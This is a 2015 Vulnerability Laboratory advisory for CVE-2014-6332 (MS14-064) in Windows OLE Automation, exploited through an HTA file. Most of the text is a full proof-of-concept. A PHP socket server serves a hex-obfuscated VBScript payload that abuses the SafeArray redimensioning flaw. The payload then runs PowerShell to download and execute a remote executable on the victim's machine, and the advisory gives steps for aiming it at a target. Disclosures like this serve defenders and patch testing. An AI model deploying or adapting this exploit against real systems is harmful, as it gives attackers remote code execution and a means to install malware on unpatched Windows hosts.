Microsoft HTA (HTML Application) Remote Code Execution
Posted on 24 August 2015
Document Title: =============== Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064) References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1576 Video: http://youtu.be/Vkswz7vt23M http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332 CVE-ID: ======= CVE-2014-6332 Release Date: ============= 2015-08-15 Vulnerability Laboratory ID (VL-ID): ==================================== 1576 Common Vulnerability Scoring System: ==================================== 9.3 Abstract Advisory Information: ============================== The Vulnerability Laboratory discovered remote code execution vulnerability in the Microsoft HTA (HTML Application) - MS14-064. Vulnerability Disclosure Timeline: ================================== 2015-08-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka Windows OLE Automation Array Remote Code Execution Vulnerability. Proof of Concept (PoC): ======================= The vulnerbility can be exploited by remote attackers without user interaction or privilege application user accounts. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce ... 1 . Run php code : php hta.php 2 . Copy this php output (HTML) and Paste as poc.hta (Replace ip) 3 . Open poc.hta 4 . Your Link Download/Execute on your target 5 . Finished ;) #!/usr/bin/php <?php # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution # Tested on Windows 7 / Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # MS14-064 # # # 1 . run php code : php hta.php # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip) # 3 . open poc.hta # 4 . Your Link Download/Execute on your target # 5 . Finished ;) # # Demo : http://youtu.be/Vkswz7vt23M # $port=80; # Port Address $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link print " Mohammad Reza Espargham "; $host= gethostname(); #g3th0stn4m3 $ip = gethostbyname($host); #g3th0stbyn4m3 print "Winrar HTML Code ".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'." "; $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!'); socket_bind($reza, 0,$port); socket_listen($reza); $msgd = "x3cx68x74x6dx6cx3ex0dx0ax3cx6dx65x74x61x20x68x74x74x70x2dx65x71x75x69x76". "x3dx22x58x2dx55x41x2dx43x6fx6dx70x61x74x69x62x6cx65x22x20x63x6fx6ex74x65". "x6ex74x3dx22x49x45x3dx45x6dx75x6cx61x74x65x49x45x38x22x20x3ex0dx0ax3cx68". "x65x61x64x3ex0dx0ax3cx2fx68x65x61x64x3ex0dx0ax3cx62x6fx64x79x3ex0dx0ax20". "x0dx0ax3cx53x43x52x49x50x54x20x4cx41x4ex47x55x41x47x45x3dx22x56x42x53x63". "x72x69x70x74x22x3ex0dx0ax0dx0ax66x75x6ex63x74x69x6fx6ex20x72x75x6ex6dx75". "x6dx61x61x28x29x20x0dx0ax4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20". "x4ex65x78x74x0dx0ax73x65x74x20x73x68x65x6cx6cx3dx63x72x65x61x74x65x6fx62". "x6ax65x63x74x28x22x53x68x65x6cx6cx2ex41x70x70x6cx69x63x61x74x69x6fx6ex22". "x29x0dx0ax63x6fx6dx6dx61x6ex64x3dx22x49x6ex76x6fx6bx65x2dx45x78x70x72x65". "x73x73x69x6fx6ex20x24x28x4ex65x77x2dx4fx62x6ax65x63x74x20x53x79x73x74x65". "x6dx2ex4ex65x74x2ex57x65x62x43x6cx69x65x6ex74x29x2ex44x6fx77x6ex6cx6fx61". "x64x46x69x6cx65x28x27x46x49x4cx45x5fx44x4fx57x4ex4cx4fx41x44x27x2cx27x6c". "x6fx61x64x2ex65x78x65x27x29x3bx24x28x4ex65x77x2dx4fx62x6ax65x63x74x20x2d". "x63x6fx6dx20x53x68x65x6cx6cx2ex41x70x70x6cx69x63x61x74x69x6fx6ex29x2ex53". "x68x65x6cx6cx45x78x65x63x75x74x65x28x27x6cx6fx61x64x2ex65x78x65x27x29x3b". "x22x0dx0ax73x68x65x6cx6cx2ex53x68x65x6cx6cx45x78x65x63x75x74x65x20x22x70". "x6fx77x65x72x73x68x65x6cx6cx2ex65x78x65x22x2cx20x22x2dx43x6fx6dx6dx61x6e". "x64x20x22x20x26x20x63x6fx6dx6dx61x6ex64x2cx20x22x22x2cx20x22x72x75x6ex61". "x73x22x2cx20x30x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax3cx2fx73". "x63x72x69x70x74x3ex0dx0ax20x0dx0ax3cx53x43x52x49x50x54x20x4cx41x4ex47x55". "x41x47x45x3dx22x56x42x53x63x72x69x70x74x22x3ex0dx0ax20x20x0dx0ax64x69x6d". "x20x20x20x61x61x28x29x0dx0ax64x69x6dx20x20x20x61x62x28x29x0dx0ax64x69x6d". "x20x20x20x61x30x0dx0ax64x69x6dx20x20x20x61x31x0dx0ax64x69x6dx20x20x20x61". "x32x0dx0ax64x69x6dx20x20x20x61x33x0dx0ax64x69x6dx20x20x20x77x69x6ex39x78". "x0dx0ax64x69x6dx20x20x20x69x6ex74x56x65x72x73x69x6fx6ex0dx0ax64x69x6dx20". "x20x20x72x6ex64x61x0dx0ax64x69x6dx20x20x20x66x75x6ex63x6cx61x73x73x0dx0a". "x64x69x6dx20x20x20x6dx79x61x72x72x61x79x0dx0ax20x0dx0ax42x65x67x69x6ex28". "x29x0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x42x65x67x69x6ex28x29x0dx0a". "x20x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0a". "x20x20x69x6ex66x6fx3dx4ex61x76x69x67x61x74x6fx72x2ex55x73x65x72x41x67x65". "x6ex74x0dx0ax20x0dx0ax20x20x69x66x28x69x6ex73x74x72x28x69x6ex66x6fx2cx22". "x57x69x6ex36x34x22x29x3ex30x29x20x20x20x74x68x65x6ex0dx0ax20x20x20x20x20". "x65x78x69x74x20x20x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x20x65x6ex64x20x69". "x66x0dx0ax20x0dx0ax20x20x69x66x20x28x69x6ex73x74x72x28x69x6ex66x6fx2cx22". "x4dx53x49x45x22x29x3ex30x29x20x20x20x74x68x65x6ex20x0dx0ax20x20x20x20x20". "x20x20x20x20x20x20x20x20x69x6ex74x56x65x72x73x69x6fx6ex20x3dx20x43x49x6e". "x74x28x4dx69x64x28x69x6ex66x6fx2cx20x49x6ex53x74x72x28x69x6ex66x6fx2cx20". "x22x4dx53x49x45x22x29x20x2bx20x35x2cx20x32x29x29x20x20x20x0dx0ax20x20x65". "x6cx73x65x0dx0ax20x20x20x20x20x65x78x69x74x20x20x20x66x75x6ex63x74x69x6f". "x6ex20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x65". "x6ex64x20x69x66x0dx0ax20x0dx0ax20x20x77x69x6ex39x78x3dx30x0dx0ax20x0dx0a". "x20x20x42x65x67x69x6ex49x6ex69x74x28x29x0dx0ax20x20x49x66x20x43x72x65x61". "x74x65x28x29x3dx54x72x75x65x20x54x68x65x6ex0dx0ax20x20x20x20x20x6dx79x61". "x72x72x61x79x3dx20x20x20x20x20x20x20x20x63x68x72x77x28x30x31x29x26x63x68". "x72x77x28x32x31x37x36x29x26x63x68x72x77x28x30x31x29x26x63x68x72x77x28x30". "x30x29x26x63x68x72x77x28x30x30x29x26x63x68x72x77x28x30x30x29x26x63x68x72". "x77x28x30x30x29x26x63x68x72x77x28x30x30x29x0dx0ax20x20x20x20x20x6dx79x61". "x72x72x61x79x3dx6dx79x61x72x72x61x79x26x63x68x72x77x28x30x30x29x26x63x68". "x72x77x28x33x32x37x36x37x29x26x63x68x72x77x28x30x30x29x26x63x68x72x77x28". "x30x29x0dx0ax20x0dx0ax20x20x20x20x20x69x66x28x69x6ex74x56x65x72x73x69x6f". "x6ex3cx34x29x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x64x6fx63x75". "x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx62x72x3ex20x49x45x22x29x0dx0ax20". "x20x20x20x20x20x20x20x20x64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x69". "x6ex74x56x65x72x73x69x6fx6ex29x0dx0ax20x20x20x20x20x20x20x20x20x72x75x6e". "x73x68x65x6cx6cx63x6fx64x65x28x29x20x20x20x20x20x20x20x20x20x20x20x20x20". "x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x65x6cx73x65x20x20x0dx0ax20x20". "x20x20x20x20x20x20x20x20x73x65x74x6ex6fx74x73x61x66x65x6dx6fx64x65x28x29". "x0dx0ax20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x65x6ex64x20x69x66x0d". "x0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax66x75x6ex63x74x69". "x6fx6ex20x42x65x67x69x6ex49x6ex69x74x28x29x0dx0ax20x20x20x52x61x6ex64x6f". "x6dx69x7ax65x28x29x0dx0ax20x20x20x72x65x64x69x6dx20x61x61x28x35x29x0dx0a". "x20x20x20x72x65x64x69x6dx20x61x62x28x35x29x0dx0ax20x20x20x61x30x3dx31x33". "x2bx31x37x2ax72x6ex64x28x36x29x0dx0ax20x20x20x61x33x3dx37x2bx33x2ax72x6e". "x64x28x35x29x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax66". "x75x6ex63x74x69x6fx6ex20x43x72x65x61x74x65x28x29x0dx0ax20x20x4fx6ex20x45". "x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x64x69x6dx20". "x69x0dx0ax20x20x43x72x65x61x74x65x3dx46x61x6cx73x65x0dx0ax20x20x46x6fx72". "x20x69x20x3dx20x30x20x54x6fx20x34x30x30x0dx0ax20x20x20x20x49x66x20x4fx76". "x65x72x28x29x3dx54x72x75x65x20x54x68x65x6ex0dx0ax20x20x20x20x20x20x20x43". "x72x65x61x74x65x3dx54x72x75x65x0dx0ax20x20x20x20x20x20x20x45x78x69x74x20". "x46x6fx72x0dx0ax20x20x20x20x45x6ex64x20x49x66x20x0dx0ax20x20x4ex65x78x74". "x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax73x75x62x20x74". "x65x73x74x61x61x28x29x0dx0ax65x6ex64x20x73x75x62x0dx0ax20x0dx0ax66x75x6e". "x63x74x69x6fx6ex20x6dx79x64x61x74x61x28x29x0dx0ax20x20x20x20x4fx6ex20x45". "x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x20x20x20x69". "x3dx74x65x73x74x61x61x0dx0ax20x20x20x20x20x69x3dx6ex75x6cx6cx0dx0ax20x20". "x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x32". "x29x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x20x61x62x28x30x29x3dx30x0dx0a". "x20x20x20x20x20x61x61x28x61x31x29x3dx69x0dx0ax20x20x20x20x20x61x62x28x30". "x29x3dx36x2ex33x36x35x39x38x37x33x37x34x33x37x38x30x31x45x2dx33x31x34x0d". "x0ax20x0dx0ax20x20x20x20x20x61x61x28x61x31x2bx32x29x3dx6dx79x61x72x72x61". "x79x0dx0ax20x20x20x20x20x61x62x28x32x29x3dx31x2ex37x34x30x38x38x35x33x34". "x37x33x31x33x32x34x45x2dx33x31x30x20x20x0dx0ax20x20x20x20x20x6dx79x64x61". "x74x61x3dx61x61x28x61x31x29x0dx0ax20x20x20x20x20x72x65x64x69x6dx20x20x50". "x72x65x73x65x72x76x65x20x61x61x28x61x30x29x20x20x0dx0ax65x6ex64x20x66x75". "x6ex63x74x69x6fx6ex20x0dx0ax20x0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20". "x73x65x74x6ex6fx74x73x61x66x65x6dx6fx64x65x28x29x0dx0ax20x20x20x20x4fx6e". "x20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x20x20". "x69x3dx6dx79x64x61x74x61x28x29x20x20x0dx0ax20x20x20x20x69x3dx72x75x6dx28". "x69x2bx38x29x0dx0ax20x20x20x20x69x3dx72x75x6dx28x69x2bx31x36x29x0dx0ax20". "x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68x31x33x34x29x20x20x0dx0ax20x20x20". "x20x66x6fx72x20x6bx3dx30x20x74x6fx20x26x68x36x30x20x73x74x65x70x20x34x0d". "x0ax20x20x20x20x20x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68x31x32x30x2bx6b". "x29x0dx0ax20x20x20x20x20x20x20x20x69x66x28x6ax3dx31x34x29x20x74x68x65x6e". "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x6ax3dx30x20x20x20x20x20". "x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x72x65x64". "x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x32x29x20x20x20x20x20". "x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x61x61x28x61x31x2bx32x29x28". "x69x2bx26x68x31x31x63x2bx6bx29x3dx61x62x28x34x29x0dx0ax20x20x20x20x20x20". "x20x20x20x20x20x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20". "x61x61x28x61x30x29x20x20x0dx0ax20x0dx0ax20x20x20x20x20x6ax3dx30x20x0dx0a". "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68". "x31x32x30x2bx6bx29x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x0dx0ax20". "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x45x78x69x74x20x66x6fx72x0dx0a". "x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x0dx0ax20x20". "x20x20x6ex65x78x74x20x0dx0ax20x20x20x20x61x62x28x32x29x3dx31x2ex36x39x37". "x35x39x36x36x33x33x31x36x37x34x37x45x2dx33x31x33x0dx0ax20x20x20x20x72x75". "x6ex6dx75x6dx61x61x28x29x20x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0d". "x0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x4fx76x65x72x28x29x0dx0ax20x20x20". "x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20". "x20x20x20x64x69x6dx20x74x79x70x65x31x2cx74x79x70x65x32x2cx74x79x70x65x33". "x0dx0ax20x20x20x20x4fx76x65x72x3dx46x61x6cx73x65x0dx0ax20x20x20x20x61x30". "x3dx61x30x2bx61x33x0dx0ax20x20x20x20x61x31x3dx61x30x2bx32x0dx0ax20x20x20". "x20x61x32x3dx61x30x2bx26x68x38x30x30x30x30x30x30x0dx0ax20x20x20x0dx0ax20". "x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30". "x29x20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x20x61x62x28x61x30x29x20x20". "x20x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50x72x65". "x73x65x72x76x65x20x61x61x28x61x32x29x0dx0ax20x20x20x0dx0ax20x20x20x20x74". "x79x70x65x31x3dx31x0dx0ax20x20x20x20x61x62x28x30x29x3dx31x2ex31x32x33x34". "x35x36x37x38x39x30x31x32x33x34x35x36x37x38x39x30x31x32x33x34x35x36x37x38". "x39x30x0dx0ax20x20x20x20x61x61x28x61x30x29x3dx31x30x0dx0ax20x20x20x20x20". "x20x20x20x20x20x20x0dx0ax20x20x20x20x49x66x28x49x73x4fx62x6ax65x63x74x28". "x61x61x28x61x31x2dx31x29x29x20x3dx20x46x61x6cx73x65x29x20x54x68x65x6ex0d". "x0ax20x20x20x20x20x20x20x69x66x28x69x6ex74x56x65x72x73x69x6fx6ex3cx34x29". "x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20x6dx65x6dx3dx63x69". "x6ex74x28x61x30x2bx31x29x2ax31x36x20x20x20x20x20x20x20x20x20x20x20x20x20". "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x6ax3dx76x61x72x74x79x70x65x28x61". "x61x28x61x31x2dx31x29x29x0dx0ax20x20x20x20x20x20x20x20x20x20x20x69x66x28". "x28x6ax3dx6dx65x6dx2bx34x29x20x6fx72x20x28x6ax2ax38x3dx6dx65x6dx2bx38x29". "x29x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x69x66". "x28x76x61x72x74x79x70x65x28x61x61x28x61x31x2dx31x29x29x3cx3ex30x29x20x20". "x54x68x65x6ex20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20". "x20x20x20x49x66x28x49x73x4fx62x6ax65x63x74x28x61x61x28x61x31x29x29x20x3d". "x20x46x61x6cx73x65x20x29x20x54x68x65x6ex20x20x20x20x20x20x20x20x20x20x20". "x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x74". "x79x70x65x31x3dx56x61x72x54x79x70x65x28x61x61x28x61x31x29x29x0dx0ax20x20". "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x20x20x20". "x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20". "x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20x20x20x20x20x20x20x65". "x6cx73x65x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x72x65x64x69x6dx20". "x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30x29x0dx0ax20x20x20x20x20x20". "x20x20x20x20x20x20x20x65x78x69x74x20x20x66x75x6ex63x74x69x6fx6ex0dx0ax20". "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x20x0dx0ax20x20". "x20x20x20x20x20x20x65x6cx73x65x0dx0ax20x20x20x20x20x20x20x20x20x20x20x69". "x66x28x76x61x72x74x79x70x65x28x61x61x28x61x31x2dx31x29x29x3cx3ex30x29x20". "x20x54x68x65x6ex20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20". "x20x49x66x28x49x73x4fx62x6ax65x63x74x28x61x61x28x61x31x29x29x20x3dx20x46". "x61x6cx73x65x20x29x20x54x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20". "x20x20x20x20x20x20x20x74x79x70x65x31x3dx56x61x72x54x79x70x65x28x61x61x28". "x61x31x29x29x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20". "x69x66x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20". "x20x20x20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20x20x20x20x65". "x6ex64x20x69x66x0dx0ax20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20". "x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x0dx0ax20x20x20x20x49". "x66x28x74x79x70x65x31x3dx26x68x32x66x36x36x29x20x54x68x65x6ex20x20x20x20". "x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x4fx76x65x72x3dx54x72". "x75x65x20x20x20x20x20x20x0dx0ax20x20x20x20x45x6ex64x20x49x66x20x20x0dx0a". "x20x20x20x20x49x66x28x74x79x70x65x31x3dx26x68x42x39x41x44x29x20x54x68x65". "x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x4fx76x65x72x3dx54x72x75x65x0dx0a". "x20x20x20x20x20x20x20x20x20x20x77x69x6ex39x78x3dx31x0dx0ax20x20x20x20x45". "x6ex64x20x49x66x20x20x0dx0ax20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50". "x72x65x73x65x72x76x65x20x61x61x28x61x30x29x20x20x20x20x20x20x20x20x20x20". "x0dx0ax20x20x20x20x20x20x20x20x20x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6f". "x6ex0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x72x75x6dx28x61x64x64x29x20". "x0dx0ax20x20x20x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65". "x78x74x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20". "x61x61x28x61x32x29x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x61x62x28x30x29". "x3dx30x20x20x20x0dx0ax20x20x20x20x61x61x28x61x31x29x3dx61x64x64x2bx34x20". "x20x20x20x20x0dx0ax20x20x20x20x61x62x28x30x29x3dx31x2ex36x39x37x35x39x36". "x36x33x33x31x36x37x34x37x45x2dx33x31x33x20x20x20x20x20x20x20x0dx0ax20x20". "x20x20x72x75x6dx3dx6cx65x6ex62x28x61x61x28x61x31x29x29x20x20x0dx0ax20x20". "x20x20x0dx0ax20x20x20x20x61x62x28x30x29x3dx30x0dx0ax20x20x20x20x72x65x64". "x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30x29x0dx0ax65x6ex64". "x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax3cx2fx73x63x72x69x70x74x3ex0d". "x0ax20x0dx0ax3cx2fx62x6fx64x79x3ex0dx0ax3cx2fx68x74x6dx6cx3e"; $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd); for (;;) { if ($client = @socket_accept($reza)) { socket_write($client, "HTTP/1.1 200 OK " . "Content-length: " . strlen($msgd) . " " . "Content-Type: text/html; charset=UTF-8 " . $msgd); print " Target Checked Your Link "; } else usleep(100000); } ?> Security Risk: ============== The security risk of the security vulnerability in the html hta application is estimated as high. (CVSS 9.3) Credits & Authors: ================== Author: Mohammad Reza Espargham Linkedin: https://ir.linkedin.com/in/rezasp E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com Website: www.reza.es Twitter: https://twitter.com/rezesp FaceBook: https://www.facebook.com/mohammadreza.espargham Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
